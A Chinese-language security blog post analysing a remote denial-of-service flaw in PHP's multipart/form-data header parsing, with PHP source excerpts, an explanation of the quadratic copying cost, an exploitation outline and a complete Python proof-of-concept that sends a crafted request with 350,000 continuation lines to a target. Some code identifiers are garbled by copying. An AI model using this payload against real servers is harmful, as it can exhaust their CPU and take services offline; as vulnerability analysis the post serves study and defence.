A-A+

PHP multipart/form-data 远程DOS漏洞

2015年05月22日 安全 暂无评论 阅读 38 次浏览 次

摘要:

 

PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。


影响范围:

 

PHP所有版本


一、漏洞入口

 

PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。

 

在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。

 

  1. /* Get the boundary */
  2. boundary= strstr(content_type_dup, "boundary");
  3. if(!boundary) {
  4.      intcontent_type_len = strlen(content_type_dup);
  5.      char*content_type_lcase = estrndup(content_type_dup, content_type_len);
  6.  
  7.      php_strtolower(content_type_lcase,content_type_len);
  8.      boundary= strstr(content_type_lcase, "boundary");
  9.      if(boundary) {
  10.              boundary= content_type_dup + (boundary - content_type_lcase);
  11.      }
  12.      efree(content_type_lcase);
  13.   }
  14.   if(!boundary || !(boundary = strchr(boundary, '='))) {
  15.        sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
  16.        return;
  17.    }
  18.    boundary++;
  19.    boundary_len= strlen(boundary);
  20.    …
  21.    …
  22.    while(!multipart_buffer_eof(mbuff TSRMLS_CC))
  23.    {
  24.                    charbuff[FILLUNIT];
  25.                    char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
  26.                    size_tblen = 0, wlen = 0;
  27.                    off_toffset;
  28.  
  29.                    zend_llist_clean(&header);
  30.  
  31.                    if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
  32.                             gotofileupload_done;
  33.                    }
  34.    
  35.    SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,

复制代码

 

二、漏洞函数multipart_buffer_headers执行逻辑    

              

  进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下:

  1. /* parse headers */
  2. static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
  3. {
  4.          char*line;
  5.          mime_header_entryprev_entry = {0}, entry;
  6.          intprev_len, cur_len;
  7.  
  8.          /*didn't find boundary, abort */
  9.          if(!find_boundary(self, self->boundary TSRMLS_CC)) {
  10.                    return0;
  11.          }
  12.  
  13.          /*get lines of text, or CRLF_CRLF */
  14.  
  15.          while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
  16.          {
  17.                    /*add header to table */
  18.                    char*key = line;
  19.                    char*value = NULL;
  20.  
  21.                    if(php_rfc1867_encoding_translation(TSRMLS_C)) {
  22.                             self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
  23.                    }
  24.  
  25.                    /*space in the beginning means same header */
  26.                    if(!isspace(line[0])) {
  27.                             value= strchr(line, ':');
  28.                    }
  29.  
  30.                    if(value) {
  31.                             *value= 0;
  32.                             do{ value++; } while(isspace(*value));
  33.  
  34.                             entry.value= estrdup(value);
  35.                             entry.key= estrdup(key);
  36.  
  37.                    }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
  38.  
  39.                             prev_len= strlen(prev_entry.value);
  40.                             cur_len= strlen(line);
  41.  
  42.                             entry.value= emalloc(prev_len + cur_len + 1);
  43.                             memcpy(entry.value,prev_entry.value, prev_len);
  44.                             memcpy(entry.value+ prev_len, line, cur_len);
  45.                             entry.value[cur_len+ prev_len] = '\0';
  46.  
  47.                             entry.key= estrdup(prev_entry.key);
  48.  
  49.                             zend_llist_remove_tail(header);
  50.                    }else {
  51.                             continue;
  52.                    }
  53.  
  54.                    zend_llist_add_element(header,&entry);
  55.                    prev_entry= entry;
  56.          }
  57.  
  58.          return1;
  59. }

复制代码

multipart_buffer_headers函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:

  1.       while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }

复制代码

当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。

 

如果line存在字符':':        

 

    value指向':'所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储,并使用prev_entry记录当前解析到的header,用于解析下一行。

 

否则,line不存在字符':':

 

    认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。

  1.        prev_len= strlen(prev_entry.value);
  2.          cur_len= strlen(line);
  3.  
  4.          entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
  5.          memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
  6.          memcpy(entry.value+ prev_len, line, cur_len);   //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。
  7.          entry.value[cur_len+ prev_len] = '\0';
  8.  
  9.          entry.key= estrdup(prev_entry.key);
  10.  
  11.          zend_llist_remove_tail(header);

复制代码


       首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。


        三、漏洞原理:


       在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':',都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.


  1. prev_len= strlen(prev_entry.value);
  2.          cur_len= strlen(line);
  3.  
  4.          entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
  5.          memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
  6.          memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝
  7.          entry.value[cur_len+ prev_len] = '\0';
  8.  
  9.          entry.key= estrdup(prev_entry.key);
  10.  
  11.          zend_llist_remove_tail(header);//1次内存释放

复制代码

四、利用:


       构造恶意的http请求,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。


五、POC

  1. '''
  2. Author: Shusheng Liu,The Department of Security Cloud, Baidu
  3. email: liusscs@163.com
  4. '''
  5. import sys
  6. import urllib,urllib2
  7. import datetime
  8. from optparse import OptionParser
  9.  
  10. def http_proxy(proxy_url):
  11.  
  12.     proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
  13.     null_proxy_handler = urllib2.ProxyHandler({})
  14.     opener = urllib2.build_opener(proxy_handler)
  15.     urllib2.install_opener(opener)
  16. #end http_proxy 
  17.  
  18. def check_php_multipartform_dos(url,post_body,headers):
  19.         req = urllib2.Request(url)
  20.         for key in headers.keys():
  21.                 req.add_header(key,headers[key])
  22.         starttime = datetime.datetime.now();
  23.         fd = urllib2.urlopen(req,post_body)
  24.         html = fd.read()
  25.         endtime = datetime.datetime.now()
  26.         usetime=(endtime - starttime).seconds
  27.         if(usetime > 5):
  28.                 result = url+" is vulnerable";
  29.         else:
  30.                 if(usetime > 3):
  31.                         result = "need to check normal respond time"
  32.         return [result,usetime]
  33. #end
  34.  
  35.  
  36. def main():
  37.     #http_proxy("http://127.0.0.1:8089")
  38.     parser = OptionParser()
  39.     parser.add_option("-t", "--target", action="store", 
  40.                   dest="target", 
  41.                   default=False, 
  42.                   type="string",
  43.                   help="test target")
  44.     (options, args) = parser.parse_args()
  45.     if(options.target):
  46.         target = options.target
  47.     else:
  48.         return;
  49.  
  50.     Num=350000
  51.     headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
  52.             'Accept-Encoding':'gzip, deflate',
  53.             'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
  54.     body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
  55.     payload=""
  56.     for i in range(0,Num):
  57.         payload = payload + "a\n"
  58.     body = body + payload;
  59.     body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
  60.     print "starting...";
  61.     respond=check_php_multipartform_dos(target,body,headers)
  62.     print "Result : "
  63.     print respond[0]
  64.     print "Respond time : "+str(respond[1]) + " seconds";
  65.  
  66. if __name__=="__main__":
  67.     main()

复制代码

 

评论已关闭!

Copyright © 火网互联IDC咨询中心 保留所有权利.   Theme  Ality 蜀ICP备14006632号-1

用户登录